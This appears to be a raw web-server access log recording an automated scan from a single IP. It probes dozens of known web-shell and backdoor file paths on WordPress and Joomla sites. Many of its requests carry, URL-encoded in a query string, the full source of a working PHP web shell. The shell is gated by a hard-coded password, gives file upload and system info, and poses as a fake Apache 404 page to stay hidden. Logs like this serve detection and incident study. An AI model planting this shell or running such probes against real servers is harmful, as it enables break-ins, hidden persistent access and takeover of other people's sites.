/wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:38 +0530] "GET /wikindex.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:42 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:43 +0530] "GET /Marvins.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:44 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:44 +0530] "GET /wp-includes/widgets/class-wp-widget-tags.php HTTP/1.1" 302 264 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:44 +0530] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 302 258 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:46 +0530] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 302 253 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:49 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:50 +0530] "GET /0z.php HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:51 +0530] "GET /mailer.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:51 +0530] "GET /x.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:52 +0530] "GET /wp-content/vuln.php HTTP/1.1" 302 239 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:43:52 +0530] "GET /templates/+theme+/error.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:52 +0530] "GET /gel4y.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:54 +0530] "GET /wp-content/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 263 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:55 +0530] "GET /wp-includes/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 264 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:56 +0530] "GET /upel.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:57 +0530] "GET /7.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:58 +0530] "GET /wp-file.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:59 +0530] "GET /lf.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:00 +0530] "GET /ups.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:00 +0530] "GET /i.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:00 +0530] "GET /.wp-cache.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:01 +0530] "GET /srx.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:01 +0530] "GET /wp-admin/includes/class-wp-pagebuilders-2myLvx.php HTTP/1.1" 302 270 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:01 +0530] "GET /xz.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:01 +0530] "GET /87.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:03 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:03 +0530] "GET /6.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:03 +0530] "GET /xmlrpcs.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:04 +0530] "GET /templates/beez_20/index.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:04 +0530] "GET /wp-includes/css/category.php HTTP/1.1" 302 248 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:04 +0530] "GET /cp.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:05 +0530] "GET /b.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:05 +0530] "GET /7yn.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:05 +0530] "GET /.alf.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:05 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:06 +0530] "GET /wp-content/bala.php HTTP/1.1" 302 239 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:08 +0530] "GET /cong.php HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:11 +0530] "GET /u.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:11 +0530] "GET /wp-includes/ID3/module.tag.id3v1-cron.php HTTP/1.1" 302 261 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:12 +0530] "GET /wp-content/themes/sol/content-index.php HTTP/1.1" 302 259 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:12 +0530] "GET /blog.php HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:13 +0530] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 302 255 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:13 +0530] "GET /templates/beez5/index.php HTTP/1.1" 302 245 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:13 +0530] "GET /templates/beez5/error.php HTTP/1.1" 302 245 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:13 +0530] "GET /if.php HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:13 +0530] "GET /wp-admin/includes/media-site.php HTTP/1.1" 302 252 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:14 +0530] "GET /wp-admin/setup-config.php HTTP/1.1" 302 245 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:14 +0530] "GET /wso1337.php HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:14 +0530] "GET /blog/fw.php HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:14 +0530] "GET /gif.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:14 +0530] "GET /wp-includes/991176.php HTTP/1.1" 302 242 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:14 +0530] "GET /wp-content/x.php HTTP/1.1" 302 236 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:14 +0530] "GET /new_license.php HTTP/1.1" 302 235 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:15 +0530] "GET /symlink.php HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:15 +0530] "GET /wp-includes/pomo/xwsoooo.php HTTP/1.1" 302 248 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:15 +0530] "GET /administrator/templates/isis/error.php HTTP/1.1" 302 258 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:15 +0530] "GET /k.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:15 +0530] "GET /administrator/templates/hathor/error.php HTTP/1.1" 302 260 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:15 +0530] "GET /components/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 263 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:15 +0530] "GET /wp-content/fx.php HTTP/1.1" 302 237 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:15 +0530] "GET /w.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:15 +0530] "GET /radio.php HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:15 +0530] "GET /wp-contentxxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 262 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:15 +0530] "GET /classwithtostring.php HTTP/1.1" 302 241 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:15 +0530] "GET /11index.php HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:15 +0530] "GET /wp-content/db-cache.php HTTP/1.1" 302 243 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:15 +0530] "GET /alexus-mailer.php HTTP/1.1" 302 237 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:15 +0530] "GET /uploads/up.php HTTP/1.1" 302 234 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:15 +0530] "GET /wp-includes/images/wp-blog.php HTTP/1.1" 302 250 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:16 +0530] "GET /2.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:16 +0530] "GET /wp-includes/pomo/ENKI.php HTTP/1.1" 302 245 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:16 +0530] "GET /wp-includes/images/wlw/lfx.php HTTP/1.1" 302 250 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:16 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/